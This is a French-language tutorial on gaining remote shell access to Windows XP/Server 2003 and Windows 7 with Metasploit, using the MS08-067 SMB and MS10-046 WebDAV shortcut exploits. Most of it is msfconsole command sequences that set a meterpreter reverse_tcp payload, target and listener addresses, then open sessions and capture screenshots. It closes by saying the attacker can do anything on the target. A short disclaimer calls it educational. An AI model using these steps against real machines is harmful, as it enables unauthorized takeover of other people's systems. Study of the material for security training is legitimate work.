HACKING AVEC METASPLOIT

Ce document récapitule les méthodes d'intrusion permettant de prendre contrôle d'un système d'exploitation. Attention ! Ceci est conçu pour apprendre la sécurité informatique et non pour en faire un mauvais usage.

I - Accéder à l'invité de commande de Windows XP/server 2003 :

Exploitation d'une faille SMB.

Désactiver le pare-feu ou autoriser tous les protocoles disponibles dans le menu pare-feu.

Lancer Metasploit : `root@kali:~# msfconsole`

```
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.1.44
RHOST => 192.168.1.44
msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.1.43
LHOST => 192.168.1.43
msf exploit(windows/smb/ms08_067_netapi) > set LPORT 443
LPORT => 443
msf exploit(windows/smb/ms08_067_netapi) > exploit
```

EXPLOIT : exploit/windows/smb/ms08_067_netapi

PAYLOAD : windows/meterpreter/reverse_tcp

RHOST : Adresse IP de la machine distante

LHOST : Adresse IP de votre machine

LPORT : Port de votre machine utilisé pour l'attaque

Faire un screenshot de la machine :

```
meterpreter > screenshot
Screenshot saved to: /root/fvPPNkyH.jpeg
```

II – Accéder à l'invité de commande de Windows 7 :

Injection DLL grâce à une faille WebDAV sous IE.

Il ne doit y avoir aucun anti-virus installé sur la machine cible, néanmoins il n'y a pas besoin de désactiver le pare-feu. La machine avec metasploit doit avoir de préférence le framework « ruby » installé.

Lancez metasploit : `root@kali:~# msfconsole`

Sélectionner l'exploit MS10_046 en entrant ceci :

```
msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
```

Sélectionnez le payload et ses options :

```
msf exploit(windows/browser/ms10_046_shortcut_icon_dllloader) > set payload wind
ows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/browser/ms10_046_shortcut_icon_dllloader) > set SRVHOST 192.
168.1.43
SRVHOST => 192.168.1.43
msf exploit(windows/browser/ms10_046_shortcut_icon_dllloader) > set LHOST 192.16
8.1.43
LHOST => 192.168.1.43
msf exploit(windows/browser/ms10_046_shortcut_icon_dllloader) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.43:4444
```

PAYLOAD : windows/meterpreter/reverse_tcp

SRVHOST : adresse IP de la machine qui simule WebDAV (de préférence le Kali)

LHOST : Adresse IP de la machine qui lance l'attaque

Ensuite tapez « exploit » dans le shell et lancez Internet Explorer sur le Windows 7 ciblé.

Connectez-vous à l'adresse IP que vous avez entré précédemment dans SRVHOST pour se connecter au serveur WebDAV depuis IE.

Autorisez la connexion au service puis revenez sur metasploit. Tapez la commande « sessions » pour afficher les sessions ouvertes sur les différentes machines connectées.

Tapez « sessions -i (numero de session) » par exemple : « sessions -i 1 » pour lancer l'interpréteur de commandes sur une des sessions ouvertes.

Voila, vous êtes connecté à l'invité de commande de la ou des machines ciblée(s). Vous pouvez faire absolument tous ce que vous souhaitez.